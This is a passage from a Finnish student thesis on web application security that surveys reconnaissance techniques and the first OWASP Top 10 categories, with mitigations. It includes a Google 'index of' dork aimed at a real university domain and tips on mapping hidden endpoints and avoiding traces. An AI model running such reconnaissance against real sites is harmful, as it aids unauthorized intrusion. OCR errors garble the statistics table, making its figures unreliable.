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The goal of this final year project was to study web application security by observing
known risk factors, their causes, effects, and mitigation measures. The OWASP Top
10 list of the Open Worldwide Application Security Project foundation was used as a
framework for conducting this study.

The goal was to compile comprehensive documentation on high-risk categories of
web application security threats and illustrate their damaging effects on web applica-
tions and their users by directing attacks and tests on vulnerabilities.

In practice, a testing environment was set up on a virtual machine, where testing of
security vulnerabilities could be carried out safely. Kali Linux was chosen as the op-
erating system for the virtual machine, and OWASP Juice Shop was selected as the
target for testing. In addition, multiple open-source tools were utilized during the test-
ing. At the beginning of the work, instructions on how to set up the testing environ-
ment were composed, followed by reconnaissance and mapping procedures on the
target application. Subsequently, the potential vulnerabilities that were identified in
the previous phase were examined in more detail, and with the help of the infor-
mation presented in theoretical chapters of the thesis, the attack phase was system-
atically carried out.

As a result, documentation that reflects the relevance and importance of security in
web application development in general was compiled through qualitative methods.
This work can be used for learning the basics and how to execute the researched se-
curity risks in practice.
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1 Johdanto

Tassa insindorityossa perehdytaan web-sovellusten tietoturvaan kayttaen viite-
kehyksena Open Worldwide Application Security Project -saation (OWASP) laa-
timaa dokumenttia kymmenesta web-sovellusten yleisimmasta tietoturvauh-
kasta. Viimeisin julkaisu on laadittu vuonna 2021, ja se toimii myds tdman insi-

noorityon viitekehyksena.

Tavoitteena talla insindorityolla on syventya web-sovellusten tietoturvaan sellai-
sella tasolla, etta tyon voidaan katsoa hyodyttavan laatijaa tulevaisuuden tyo-
elamassa, seka perehdyttaa lukija aiheen perusteisiin tutkimalla kriittisimmat
uhkakuvat modernissa web-sovelluskehityksessa riskeineen ja aiheuttamine va-
hinkoineen. Tyon tarkoituksena on toimia ponnahduslautana tiedon lisaamiseen
ja ymmartamiseen web-sovellusten tietoturvan kontekstissa, minka pohjalta on

miellyttavaa etsia lisaa tietoa ja perehtya aiheeseen yha syvallisemmin.

Insindoritydon ensimmainen luku sisaltaa yleistietoa web-sovellusten tietotur-
vasta, mika toimii johdantona tuleville kappaleille. Toisessa luvussa perehdy-
taan OWASP Top 10 -listaan, jossa tutkitaan listan sisaltamat tietoturvaongel-
mat, ndiden aiheuttajat, riskit ja mahdolliset torjuntatoimenpiteet uhkakohtai-
sesti. Kolmannessa osassa perehdytaan lyhyesti penetraatiotestauksen teori-
aan ja tarkoitukseen seka pystytetaan insinoorityossa kaytetty testiymparisto.
Viimeisessa luvussa tutkitaan ja testataan OWASP Juice Shop -alustaa mah-
dollisilta haavoittuvuuksilta, joihin myds kohdennetaan hyokkayksia, ja tuodaan

esiin 1dydetyt havainnot.

Tama insindorityd on rajattu sisaltamaan OWASP Top 10 -listan sisaltamat tie-
toturvauhkat, eika tyo perehdy syvallisesti listan ulkopuolella oleviin uhkakuviin,
kuten arkaluonteisen tiedon sailyttdmiseen ja sen lakisaateisiin vaatimuksiin, tai
tietokonekomponenttien haavoittuvuuksiin, vaikka edella mainittuja asioita pai-

koin tydssa sivutaankin.



2 Web-sovellusten tietoturva

2.1 Yleista web-sovelluksista ja tietoturvasta

Web-sovellusten eli verkkosovellusten tietoturva on laaja kasite, mutta lyhykai-
syydessaan silla tarkoitetaan verkkosivujen, -sovellusten ja -palveluiden seka
naihin liittyvien jarjestelmien ja datan suojaamista tietoturvariskeilta. Palveluita
voivat esimerkiksi olla erilaiset julkiset tai yksityiset ohjelmointirajapinnat. Web-
sovellusten tietoturva kasittaa kaikki sovelluksen infrastruktuurin sisaltamat ta-
sot eli vahintaan kayttojarjestelman, ohjelmointikielen, tietokannan ja palveli-
men. Myos kayttajan selaimessa suoritettava koodi on huomioitava tietotur-

vassa. [1.]

Kuvassa 1 on esitetty web-sovelluksen tasot jaettuna palvelin- ja kayttajapuo-
leen, jotka kommunikoivat HTTP/HTTPS-protokollan avulla internetin valityk-
selld. Kuvassa vasemmalla on palvelimen eri tasot ylhaalta alas jarjestyksessa:
ohjelmistokehys/-kirjasto, ohjelmointikieli, tietokanta, palvelinohjelmisto ja kayt-
tojarjestelma. Vastaavasti oikealla puolella on kayttajapaatteen kayttamat tek-
nologiat selaimessa: JavaScript, CSS, HTML. Aivan oikealla kayttajan laitteisto,
joka on web-sovellusta kaytettaessa yleisimmin tietokone tai alypuhelin. Jokai-
nen naista tasoista voi olla alttiina erilaisille tietoturvauhkille yhdessa tai erik-

seen.
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Kuva 1. Kuvaus web-sovellusten eri tasoista jaettuna palvelimeen vasemmalla

ja kayttajapaatteeseen oikealla [2].

Eri tasojen yhteyden ja tarkeyden havainnollistamiseksi esitetaan skenaario,
jossa hyokkaaja pyrkii kayttajapaatteen selaimesta tekemaan injektionyokkayk-
sen palvelimen tietokantaan. Hyokkaaja on selvittanyt sovelluksen kayttaman
tietokannan ja teknologiat seka selaimessa suoritettavan ohjelmistokehyksen ja
kielen. Han toteuttaa SQL-injektion suoraan kirjautumissivulla, mutta syoteken-
tat on puhdistettu jo selaimen ohjelmassa. Hydkkaaja kuitenkin pystyy kierta-
maan selaimen kayttajapaatteen heikot varmennukset kayttajasyotteille katkai-
semalla selaimesta lahetetyn HTTP-pyynnon palvelimelle kayttaen proxy-tyoka-
lua. Nyt hyokkaaja pystyy manuaalisesti manipuloimaan keskeytetyn HTTP-
pyynnon parametrien arvoja ja muokkaamaan niista haluamansa, minka jalkeen
han lahettaa pyynnon eteenpain palvelimelle. Jos palvelinpuolen ohjelmassa ei
ole toteutettu syotteiden validointia ja puhdistusta tai se on toteutettu vaarin, on

hyvin mahdollista, etta hyokkaajan kirjoittama kasky ajetaan tietokantaan.

Edella kuvattu esimerkki on hyvin yksinkertainen, mutta demonstroi, kuinka
web-sovelluksen eri tasot ovat yhteydessa toisiinsa ja kuinka yksi haavoittuvuus

voi aiheuttaa muuten turvalliseen sovellukseen merkittavan tietoturva-aukon.

Web-sovellusten turvallisuuden varmistamisen tarkoituksena on pitaa sovelluk-
sen toiminta luotettavana ja kitkattomana seka suojella sovellusta ja sen kaytta-

jia siihen kohdistuvilta haitallisilta hyokkayksilta, kuten tietovarkauksilta ja



vandalismilta [3]. Koska web-sovellukset sisaltavat monta eri tasoa, on tietotur-
vallisen sovelluksen kehittaminen vaativaa tyota, joka edellyttaa sovelluskehitta-
jaltd ammattitaitoa ja syvallista perehtymista sovellustasojen toimintaan seka

niihin kohdistuviin uhkiin.

Web-sovellusten tietoturvaa tarkastellessa ei ole yhta oikeaa ratkaisua, joka rat-
kaisisi kaikki ongelmat ja heikkoudet kerralla, vaan tietoturvaa tulee aina tarkas-
tella sovellustyypin mukaisesti [4]. Vaadittavan tietoturvan taso vaihtelee paljon
sovelluksen laajuuden, kasiteltavan tiedon ja naihin liittyvien riskien perusteella.
Esimerkiksi staattiset verkkosivut ovat luonnostaan tietoturvan suhteen melko
vahvassa asemassa, jos ne eivat kayta tietokantaa tai kasittele ollenkaan kayt-
tajatietoja ja -syoétteita. Vaikka taman tyyppiseen staattiseen verkkosivuun koh-
distuisikin esimerkiksi injektiohyokkays, on todennakoisyys vahingoittavalle tie-

tomurrolle matala, parhaimmillaan olematon.

Aikaisemmin internet-sivujen yleistyessa ja suosion kasvaessa hakkerit kohden-
sivat hyokkayksiaan juuri staattisille verkkosivuille erilaisten motiivien perus-
teella. Tarkoituksena saattoi olla esimerkiksi huomion kerdaminen kanssahak-
kerien keskuudessa, ja toiminta olikin useasti niin sanottua verkkosivuvandalis-
mia tai -turmelemista. Ero nykypaivaan on suuri, silla nyt hyokkaajia yleensa

motivoi taloudellisen hyddyn tavoittelu laittomin keinoin. [5.]

Dynaamisten web-sovellusten yleistyessa tietoturvauhkat ovat moninaistuneet,
ja niiden aiheuttamat haitat ovat kasvaneet [5]. Hyokkayksista johtuvat haitat
riippuvat paljolti hyokkayksen vakavuudesta, mutta pahimmillaan tappiot web-
sovelluksen omistajalle tai sen asiakkaille voivat olla rahallisesti tai maineelli-
sesti mittavat. Kun yritysten liiketoiminta on yhda enemman verkossa, myds hen-
kilotiedot ovat alttiina hyokkayksille — ndin kavi Suomessa psykoterapiakeskus
Vastaamon 33 000 asiakkaille, kun heikosti salasanasuojattuun palvelimeen
murtauduttiin, ja hyokkaaja vaati lunnaita anastettuja henkilotietoja vastaan [6].

Teknologian kehittyessa jatkuvasti voisi maallikko olettaa web-sovellusten tieto-

turvaratkaisujen saavuttavan pisteen, jossa hydkkaykset voidaan pysyvasti



torjua. Valitettavasti nain ei ole kuitenkaan kaynyt, vaan alati kasvavan liiketoi-
minnan osuus verkossa, ja sita myoten syntyvien teknisten ratkaisujen ohessa
my0s hyokkaysten maara on kasvanut ja laatu moninaistunut. Voidaankin sa-
noa, etta tietoturva alana on viela kaukana taydellisyydesta, mika on toisaalta
hyvin luonnollista sen takia, etta hyokkaavat tahot ja heita vastaan ratkaisuja et-

sivat ohjelmistokehittajat ovat keskenaan ikuisessa kilpajuoksussa.

2.2 Tiedustelu ja kartoitus

Web-sovelluksen hyédyntaminen hyokkaykseen vaatii hyokkaavalta taholta laa-
jaa osaamista ja tyokaluja, kuten ymmarrysta verkkoprotokollista, yleisesti kay-
tetyista komponenteista ja niiden heikkouksista, sovellukseen rakennetuista toi-
minnallisuuksista seka tietenkin siita, milla ohjelmistokehyksilla ja teknologioilla
verkkosivu on rakennettu. Hyokkaajalla on oltava naista syva ymmarrys, jotta
kohteena olevaan sovellukseen kaytettavat hyokkaysmetodit voidaan rajoittaa
oikein ja kohdistaa tehokkaasti. [3; 7.]

Ennen varsinaisen hydkkayksen aloittamista on yleista, etta hyokkaaja suorittaa
tiedustelu- ja kartoitusvaiheen, jossa han pyrkii saamaan lisatietoja edella mai-
nituista asioista ja syventaa sita kautta ymmarrystaan sovelluksen toiminnasta
ja haavoittuvuuksista. llman tata vaihetta olisi hyvin vaikeaa kohdentaa hyok-
kayksia tuloksekkaasti. Tiedusteluvaiheella pyritdan esimerkiksi kartoittamaan
sovelluksesta toiminnallisuuksia, jotka eivat ole tavalliselle kayttajalle saavutet-
tavissa, kuten esimerkiksi yllapitajalle tarkoitetut toiminnot ohjelmointirajapin-

nassa. [7.]

Tiedustelu- ja kartoitusvaihe voidaan suorittaa suorin tai epasuorin keinoin.
Epasuoraa tiedustelua suositaan etenkin hyokkayksen alkuvaiheessa, koska
silla pyritaan valttamaan suoraa kontaktia kohteena olevaan tahoon. Epasuo-
raan tiedusteluun hyokkaaja kayttaa hyodykseen julkisesti saatavilla olevia re-
sursseja, verkkosivuja ja tyokaluja. Yksinkertaisimmillaan erilaisia operaattoreita
kayttamalla ja taitavasti muotoilulla Google-haulla saattaa pystya kartoittamaan

joidenkin verkkosivujen mahdollisia haavoittuvuuksia ja etsia paasya



resursseihin, jotka eivat ole itse verkkosivulla nakyvissa. Tata kutsutaan

Google-hakkeroinniksi. [7.]

Kuvassa 2 on esimerkki Google-haun tuloksesta Metropolian verkkosivulle.
Linkkia seuraamalla paastaan kasiksi sivun kansiorakenteeseen, jota tutkimalla

hyokkaaja saattaa Ioytaa mahdollisia haavoittuvuuksia.

GOOgle "index of" site:metropolia.fi
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Kuva 2. Kuvakaappaus selainhausta erikoisoperaattoreilla.

Erikoisoperaattoreilla suoritettavissa Google-hauissa on huomioitava, etta
Google hyvin nopeasti estaa toistuvat perakkaiset haut CAPTCHA-sivuilla, joka
pyytaa suorittamaan satunnaisgeneroidun tehtavan, esimerkiksi valitsemaan
kaikki kuvat, joissa on kissoja. Jos tasta huolimatta kyselyt jatkuvat, Google
saattaa estaa |IP-osoitteen, josta pyynnot tulevat. Taman takia automatisoitu
Google-hakkerointi ei ole kauaskantoisesti kannattavaa. Lisaksi on huomionar-
voista, etta vain tekstipohjaiset haut Googlen valimuistiin varmistavat anonymi-
teetin. Jos sivulle mennaan, jaa siita jalki. Tama on kuitenkin kierrettavissa esi-

merkiksi proxy-palvelulla. [7.]

Toinen epasuora tiedustelutapa on esimerkiksi julkisesti verkosta lI6ytyva pal-
velu Built With, joka analysoi verkkosivun rakentamiseen kaytetyt teknologiat,
kuten ohjelmointikielen, komponentit, ohjelmistokehykset, kaytetyt rajapinnat,
palvelut ja niin edespain. Built With analysoi sivustoja keraamalla niiden anta-
mia niin sanottuja signaaleja [8]. Naita signaaleja voi esimerkiksi olla



selaimessa suoritettava kayttajapaatteen lahdekoodi, joka saattaa sisaltaa koo-
dia, josta ilmenee kaytetyt teknologiat selainpuolella. Lisaksi palvelinpuolen tek-
nologioita voidaan etsia palvelimelle tehtyjen pyyntojen ja vastausten avulla, joi-
den HTTP-otsikkotiedoista voi 10ytya palvelimella kaytettavien teknologioiden
tyypillisia ominaisuuksia. Kaytannodssa taman tyon voisi tehda myos manuaali-
sesti itse, mutta Built With -palvelua kayttamalla nopeutetaan ja tehostetaan tie-
dusteluprosessia olematta suorassa kontaktissa tiedusteltavaan web-sovelluk-

seen.

Kuvassa 3 on suoritettu analyysi Kotipizzan verkkosivujen kayttamista teknolo-
gioista Built With -palvelulla ja rajattu sen kayttamat viitekehykset. Kuvasta voi-
daan nahda3, etta selainpuolella on kaytetty esimerkiksi Material-Ul -komponent-
tikirjastoa Reactille. Jos Material-Ul sisaltaisi jonkin haavoittuvuuden, josta
hyokkaaja on tietoinen, voisi han kayttaa tata tietoa hyvakseen varsinaista

hyokkaysta suorittaessaan.

Frameworks
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Kuva 3. Kuvakaappaus Built With -palvelulla suoritetusta analyysista Kotipizzan
verkkosivuista ja sen ohjelmistokehyksista.

Suorat tiedustelu- ja kartoitusmetodit ovat suorassa kontaktissa hyokattavaan
tahoon ja niilla pyritaan I6ytamaan syvallista tietoa web-sovelluksen toiminnalli-
suudesta, kuten aliverkkotunnuksia, ohjelmointirajapintojen paatepisteita, heik-

koja kohtia ja kansiorakennetta.

Yksinkertaisimmillaan vierailu verkkosivulla ja kirjaamalla ylos sen tekemia verk-
kopyyntdja auttaa ymmartamaan, miten sovellus toimii ja kommunikoi. On kui-
tenkin huomattava, etta useimpien web-sovellusten kayttoliittymat ja toiminnalli-
suudet ovat harvoin taysin saatavilla tavalliselle kayttajalle, vaan ne sisaltavat
usein paljon ominaisuuksia, jotka ovat piilotettuja ja kaytettavissa vain etuoikeu-

tetuille kayttajille, kuten yllapitajalle. [5.]

Edellisessa kappaleessa mainittu huomioon ottaen, on hyokkaajalle erittain ar-
vokasta selvittaa piilossa olevia ominaisuuksia, kuten ohjelmointirajapinnan
paatepisteita, joihin vain etuoikeutetuilla kayttajilla on paasy. Pelkastaan tieto
paatepisteiden olemassaolosta on tarkeaa web-sovelluksen toiminnallisuuksien
kartoittamisen kannalta, mutta pahimmillaan hyokkaaja saattaa jopa l16ytaa tie-
toturva-aukon, jota hyodyntamalla han paasee kasiksi paatepisteisiin, vaikkei
suoraan olisi oikeutettu kayttamaan niita [5]. Paatepisteiden ja toiminnallisuuk-
sien kartoittamisessa voidaan hyddyntaa Burp Suite -ohjelmaa, jonka avulla
kartoitus voidaan automatisoida, vaikka se harvoin tuottaa yhta laadukkaita tu-

loksia kuin manuaalinen kartoitus [7].

Burp Suiten lisaksi suoria tiedustelu- ja kartoitusmetodeja on useita, ja niiden
kaytto riippuu selvitettavan informaation luonteesta. Esimerkiksi jos Google-hak-
keroinnilla on I0ydetty alustavasti mielenkiintoinen kansiorakenne, voidaan lisa-
tietoa 16ytaa hyddyntamalla DirBuster-ohjelmaa. DirBuster skannaa web-sovel-
luksen kansio- ja tiedostorakenteen kayttamalla ennalta maariteltya tai kusto-
moitua sanalistaa. Tavoitteena on I0ytaa yleisesti verkkosivuilta 10ytyvia kansi-
oita ja tiedostoja, esimerkiksi yllapitajakansioita, valiaikaisia tiedostoja, var-

muuskopioita tai konfiguraatiotiedostoja. [7.] Tamanlaista tiedustelu- ja



kartoitustoimintaa kutsutaan brute force -hyokkaykseksi, eli vasytyshyok-
kaykseksi, ja se tulisi jattaa viimeiseksi tiedusteluvaiheessa, silla vasytyshyok-
kaykset ovat helposti havaittavissa ja hidastettavissa, jopa estettavissa koko-

naan [5].

3 OWASP Top 10

Open Worldwide Application Security Project (OWASP) on vuoden 2001 loppu-
puolella perustettu voittoa tavoittelematon ja kaikille avoin saatio, joka tyosken-
telee edistddkseen ohjelmistojen tietoturvaa ja jonka toiminnan tavoitteina on
tuoda sovelluskehittajien ja organisaatioiden tietoisuuteen tietoturvaseikkoja
seka ohjeistaa turvallisempien ohjelmistojen kehitystydossa. Naiden tavoitteiden
tueksi OWASP on julkaissut useita avoimen lahdekoodin projekteja, dokumen-
taatioita ja tydkaluja, jotka ovat ilmaiseksi kenen tahansa kaytettavissa. Tunne-
tuin projekteista on OWASP Top 10 -lista, johon on keratty ajankohtaisimmat

web-sovelluksiin kohdistuvat tietoturvauhkat. [9; 10]

OWASP Top 10 -lista on avoin projekti, jonka paalaatijoina ovat toimineet And-
rew van der Stock, Brian Glas, Neil Smithline ja Torsten Gigler, mutta on kuiten-
kin huomionarvoista, etta projektin toteutukseen on mittavasti vaikuttaneet
useat vapaaehtoiset organisaatiot ja yksityishenkilot [11]. Lista on tarkoitettu
matalan kynnyksen viitekehykseksi kohti turvallisempaa ohjelmistokehitystyota
tarjoamalla informaatiota ajankohtaisista web-sovellusten tietoturvauhkista ja
niiden torjuntatoimenpiteista [12]. Listaa ei ole kuitenkaan tarkoitettu kaiken kat-
tavaksi standardiksi, jonka pohjalta jonkin tietyn ohjelmiston tietoturva voidaan
taysin varmistaa, vaan dokumentiksi, joka toimii lahtopisteena organisaatioille ja
web-sovelluskehittgjille tietoturvaongelmien huomioimiseksi kehitystydssa [13].
Listaa paivitetdan aina muutaman vuoden valein, jotta sen sisaltd pysyisi mah-
dollisimman relevanttina jatkuvasti muuttuvassa toimintaymparistossa. Viimeisin

versio on julkaistu 24.9.2021, ja siihen my0s tassa insindoritydssa viitataan [11].

OWASP Top 10 -listan kategoriat on johdettu web-sovelluksista I16ytyneiden

haavoittuvuuksien pohjalta keratysta datasta, josta kahdeksan eniten esiintyvaa
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tietoturvakategoriaa on sisallytetty listalle. Lisaksi tietoturvayhteisdlle teetetyn
kyselyn perusteella kaksi merkittavimpana pidettya kategoriaa lisataan listalle.
Nama kaksi kategoriaa valitaan kuitenkin sellaisin perustein, etta ne eivat saa
olla samoja kategorioita kuin jo listalla entuudestaan esiintyvat, datan perus-
teella valitut kategoriat. Metodia on perusteltu datan keruun ja koostamisen hi-
taudella, minka tueksi tarvitaan alan ammattilaisten ja yhteison mielipide ajan-
kohtaisista tietoturvauhkista, jotka eivat valttamatta viela nay keratyssa datassa.
Data itsessaan on keratty eri organisaatioilta, joiden toiminta keskittyy haavoit-
tuvuuksien ja uhkien Ioytamiseen seka testaamiseen. [14.] Dataa vuoden 2021

listalle kertyi yhteensa yli 500 000 web-sovelluksesta [15].

Vaikka OWASP on yleisella tasolla luotettu saatio, voidaan kritiikkia esittaa siita,
etta raakadata testatuista sovelluksista ei ole avoimesti saatavilla ja etta kon-
teksti ja selitteet kategoriakohtaisessa datassa ovat paikoin puutteellisia ja jatta-

vat auki kysymyksia siita, miten jotkin tulokset on mitattu ja millaisin perustein.

Kuvassa 4 on esitelty OWASP Top 10 -listan kategoriat ja niihin liittyvaa dataa.
CWE eli Common Weakness Enumeration tarkoittaa tietyn tyyppista heikkoutta
ohjelmistossa, mika voi johtaa haavoittuvuuteen. CVE eli Common Vulnerabili-
ties and Exposures taas tarkoittaa listaa tunnetuista haavoittuvuuksista. Kartoi-
tetut CWE:t kuvastavat, kuinka monta heikkoustyyppia on sisallytetty kyseiseen
kategoriaan. Esiintymistiheys kertoo prosentuaalisen maaran sovelluksista,
joista loytyi kategorian sisaltamia heikkouksia. Hyodynnettavyys ja vaikutus on
normalisoitu kymmenpisteasteikoksi CVSSv2- ja CVSSv3-pistejarjestelmien
kesken. Kuvassa ilmoitetut pisteet ovat kategoriakohtaisesti kaikkien havaittujen
CVE:ten pisteet, jotka on kartoitettu heikkoustyyppeihin ja joista on laskettu kes-

kiarvo.
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) Esiintymis- Esiintymis- by By Vaikutus, Esiintyminen,
Kategoria tiheys, MAX tiheys, KA _tavws, painotettu KA yht. CVEL, yht.
3 painotettu KA

1. Heikko

padsyoikeuksien 34 55,97 % 3,81 % 6,92 5,9 94,55 % 47,72 % 318 487 19 013
hallinta
ZSaautelniscl o9 46,44%  449% 7,29 6,81 7933%  3485% 233788 3075
3. Koodi-injektiot 33 19,09 % 3,37 % 7,25 7,15 94,04 % 47,90 % 274 228 32078
4. Epaturvallinen
suunnittelu 40 24,19 % 3,00 % 6,46 6,78 77,25 % 42,51 % 262 407 2691
2. Virheet 20 19,84% 4,51% 8,12 6,56 89,58%  44,84% 208387 789
konfiguraatiossa v ° U 0 st © & ° o ° >
6. Haavoittuvaiset ja
vanhentuneet 3 27,96 % 8,77 % 5,00 5,00 51,78 % 22,47 % 30457 0
komponentit
7. Tunnistus- ja
todentamisvirheet 22 14,84 % 2,55 % 7,40 6,50 79,51 % 45,72 % 132 195 3897
8. Ohjelmistojen ja
tiedon eheysvirheet 10 16,67 % 2,05 % 6,94 7,94 75,04 % 45,35 % 47 972 1152
9. Puutteet
kirjauksessa ja 4 19,23 % 6,51 % 6,87 4,99 53,67 % 39,97 % 53 615 242
valvonnassa
10. SSRF 1 2,72 % 2,72% 8,28 6,72 67,72 % 67,72 % 9 503 358

Kuva 4. OWASP Top 10 -kategoriat ja niihin liittyvaa dataa [17; 18; 19; 20; 21;
22; 23; 24; 25; 26].

Mita korkeampi pisteytys hyddynnettavyydella on, sita helpommin kyseista heik-
koutta on hyddyntaa. Vaikutuksella taas korkeampi pisteytys kuvastaa suurem-
paa vahinkoa. Kattavuus tarkoittaa niiden sovellusten prosentuaalista maaraa,
jotka on testattu kategoriaan liittyvilta heikkoustyypeilta. Yhteenlasketut esiinty-
miset tarkoittaa sovellusten maara, joista kategorian heikkouksia l6ytyi. Yhteen-
lasketut CVE:t, eli kaikki erityyppiset haavoittuvuudet kategorian sisalla ovat ku-
van taulukon viimeisessa sarakkeessa oikealla. [16.] Aikaisemmin esitettya kri-
tiikkia dataa kohtaan on tassa korostettava, silla tarkkaa selitetta siita, miten
esiintymistiheyden maksimi ja keskiarvo on johdettu, ei ole esitetty. Sama on-

gelma on havaittavissa kattavuuden kohdalla.

3.1 Heikko paasyoikeuksien hallinta

Paasyoikeuden hallinnalla tarkoitetaan sita, etta kayttaja ei paase kasiksi heille
asetettujen oikeuksien ulkopuolella oleviin tietoihin ja toimintoihin. Virheet paa-
syoikeuksien hallinnassa saattavat johtaa salatun tiedon paljastumiseen, luvat-

tomaan manipulointiin tai tuhoutumiseen. [27.] Riskina on siis kayttajan
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mahdollisuus suorittaa vahingollisia toimintoja tai saavuttaa dataa, eli tietoa,

joka pahimmillaan voi aiheuttaa suuren luokan tietoturvaloukkauksia.

Tyypillinen esimerkki puutteellisesta paasyoikeuksien hallinnasta on sellainen
sovellus, joka ei suojaa sensitiivista tietoa ja sen muokkaamista todentamisella,
tai jattaa sovelluksen toiminnallisuuksia vapaasti kaytettavaksi ilman kayttajan
kayttooikeuksien tarkistamista [27]. Esimerkiksi yllapitajan on tarkoituksenmu-
kaista pystya lisaamaan uusia kayttgjia sovellukseen, mutta jos tata toimintoa ei
ole suojattu tarpeeksi hyvin, ja tavallinen kayttaja paasee lisddmaan uusia kayt-
tajia, voisi han mahdollisesti lisata uuden kayttajan yllapitajan oikeuksilla, mika
aiheuttaisi merkittavan tietoturvauhkan koko sovellukselle ja sen infrastruktuu-
rille. Tamanlainen uhka voi toteutua, jos tavallisella kayttajalla on esimerkiksi
paasy rajoitetuksi tarkoitettuihin ohjelmointirajapintojen metodeihin tai hanella

on mahdollisuus ohittaa todentaminen muokkaamalla URL-osoitetta [17].

Kuten kaikkia tietoturvauhkia, myos paasyoikeuksiin kohdistuvia uhkia voidaan
torjua ja riskeja vahentaa. Paasyoikeuksien hallinnan tarkoituksena on pitaa tie-
tyt resurssit luvattomien kayttajien saavuttamattomissa. Sovelluksen olisi tarkea
vahvistaa kayttajatiedot ja -oikeudet joka kerta palvelimelta, kun tehdaan sellai-
sia toimintoja, jotka oikeuksia tarvitsevat [27]. Jos oikeuksia ei pystyta vahvista-
maan, tulisi sovelluksella olla sellainen toiminnallisuus, etta kayttajan toiminta
voidaan keskeyttaa ja sallia vasta, kun vahvistus voidaan varmistaa. My0s is-
tuntoavaimet tulisi invalidoida tietyn ajan jalkeen, tai heti, kun kayttaja on kirjau-

tunut ulos. [17.]

3.2 Salaustekniset virheet

Salaustekniset eli kryptograafiset virheet liittyvat salaustekniikoiden virheiden tai
niiden puutteellisuuden aiheuttamiin tietoturvariskeihin. Salaustekniikoita kayte-
taan web-sovelluksissa monilla eri tasoilla suojaamaan tietoa, joka ei ole tarkoi-
tettu avoimeksi tai kaikille tarjottavaksi. Esimerkiksi tietokantaan tallennetut
kayttajatiedot ja salasanat yleensa suojataan eli kryptataan jollain algoritmilla,

kuten SHA-tiivistefunktiolla selkotekstin salaamiseksi. [28.] Salattu teksti nayttaa
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ulospain holynpdlylta, mutta salausavaimella salakirjoituksen voi muuntaa takai-

sin selkotekstiksi ja nain lukea sen sisallon.

Heikko tai olematon salausalgoritmi voi altistaa arkaluontoista dataa, kuten sa-

lasanoja, potilastietoja, liikesalaisuuksia tai maksutietoja, ulkopuolisten osapuo-
lien saataville ja varastettavaksi. Muita yleisia salausvirheita on esimerkiksi tie-

don valittaminen selkotekstina, vanhojen algoritmien kayttd, kovakoodatut sala-
sanat asetustiedostoissa, vaarat kaytannot salausavainten hallinnassa ja niin

edespain [29].

Jotta web-sovelluksen turvallisuus voidaan varmistaa salausteknisten seikkojen
osalta, on tarkeata ymmartaa dataa ja sen eri laatuja. Kaikkea tietoa ei ole pe-
rusteltua salata, jos sen tarkoitus on olla saavutettavissa avoimesti kaikille. Tur-
vallisuuden vuoksi sovelluksen kerdamaa ja kayttdamaa dataa tulisi monitoroida
ja luokitella seka salata sen perusteella, onko tieto arkaluonteista tai luottamuk-
sellista. Arkaluonteinen data tulisi poistaa heti, kun silla ei ole tosiasiallista kayt-
toa. Istuntoavaimet, jotka sisaltavat arkaluontoista tietoa, tulisi korvata sijais-

avaimella, joka ei arkaluonteista dataa sisalla. [29.]

3.3 Koodi-injektiot

Injektiohyokkays tarkoittaa haitallista toimintaa, jossa hyokkaaja yrittaa syottaa
haitallista koodia tai komentoja tietokonejarjestelmaan tai verkkosivustolle viha-
mielista tarkoitusta varten. Tama voi johtaa tiedon varastamiseen, virusten levit-
tamiseen, jarjestelman hallitsemattomaan kayttoon tai minka tahansa muun hai-
tallisen toiminnan toteuttamiseen [30]. Injektiohyokkaykset ovat yleisia ja ne voi-
vat kohdistua mihin tahansa verkkoon kytkettyyn jarjestelmaan, mukaan lukien

palvelimet, verkkosivustot, tietokannat ja mobiililaitteet.

Esimerkkeja injektiohyOkkayksista:

1. SQL-injektio: SQL-injektio on yksi yleisimmista injektiohyokkayksista,

joka kohdistuu tietokantoihin. Hyokkaaja pyrkii lahettamaan haitallisia
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komentoja web-sovelluksen kautta tietokantaan, joka hyokkaajan onnis-
tuessa suorittaa lahetetyn komennon. Tuloksena voi olla tietokannan si-

sallon paljastuminen, muokkaaminen, manipulointi tai poistaminen. [30.]

2. Komentorivi-injektio: Komentorivi-injektio on hydkkays, joka tapahtuu,
kun hyokkaaja lahettaa haitallista tietoa jarjestelman komentoriville.
Tama voi johtaa jarjestelman kaatumiseen tai mahdollistaa hyokkaajan
paasyn jarjestelmaan ja sita kautta aiheuttaa suurta ja laajaa vahinkoa.
[30.]

3. XSS (Cross-Site Scripting): XSS-hyodkkays kohdistuu verkkosivustoihin.
Hyodkkaaja lahettaa haitallista koodia (tyypillisesti JavaScriptia) verkkosi-
vustolle, joka suorittaa haitallisen toiminnon. Kun kayttaja vierailee verk-
kosivulla, suorittaa hanen selaimensa haitallisen koodin ja altistaa kaytta-

jan tietoturvariskille. [30.]

4. LFI (Local File Inclusion): Tama injektiohydkkays kohdistuu verkkosivus-
toihin ja mahdollistaa hydkkaajan paasyn jarjestelman tiedostoihin ilman
oikeuksia. LFI-hydkkays on yleinen ongelma PHP-pohjaisissa web-sovel-
luksissa. [30.]

5. RCE (Remote Code Execution): RCE-hyokkays mahdollistaa hydkkaajan
suorittaa koodia etana ilman oikeuksia. Tama voi johtaa jarjestelman

kaatumiseen tai mahdollistaa hydkkaajan paasyn jarjestelmaan. [30.]

Injektiohyokkayksen torjuminen vaatii tietoturvallisuuden asiantuntijoilta ja jar-
jestelman kehittgjilta palvelimen ja tietokannan tarkkaa suunnittelua ja toteu-
tusta, jotta haavoittuvuudet voidaan tunnistaa ja korjata, ennen kuin hydkkaaja
paasee niihin kasiksi. Tietoturvaa voidaan parantaa esimerkiksi validoimalla,
suodattamalla ja puhdistamalla kaikki kayttajasyotteilla lahetetty data, joka saa-
puu palvelimelle tai verkkosivustolle, seka saanndllisesti tarkistamalla sovellus

haavoittuvuuksien varalta ja monitoroimalla vilpillista toimintaa. [19].
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3.4 Epaturvallinen suunnittelu

Epaturvallinen suunnittelu on laaja kasite web-sovelluskehityksessa, mutta tii-
vistettyna silla tarkoitetaan erilaisia heikkouksia sovelluksen suunnittelussa ja
arkkitehtuurissa [20]. Turvallinen suunnittelu usein jaa kehittajiltd huomioimatta,
silla sen ei ole tavallisesti ajateltu kuuluvan perinteisten tietoturvauhkien piiriin,
kuten muut web-sovellusten uhkat, joita tassakin tutkielmassa on esitelty [31].
Epaturvallinen suunnittelu kuitenkin voi johtaa naihin tietoturvauhkiin. Koska tur-
vallisen suunnittelun konseptissa on kyse suunnittelun filosofiasta osana sovel-
luskehityksen prosesseja, on se ymmarrettavasti jaanyt vahemmalle huomiolle
konkreettisten tietoturvauhkien joukossa. Epaturvallista suunnittelua ei kuiten-
kaan pida sekoittaa epakohtiin implementaatiossa, silla vaikka nama asiat ris-

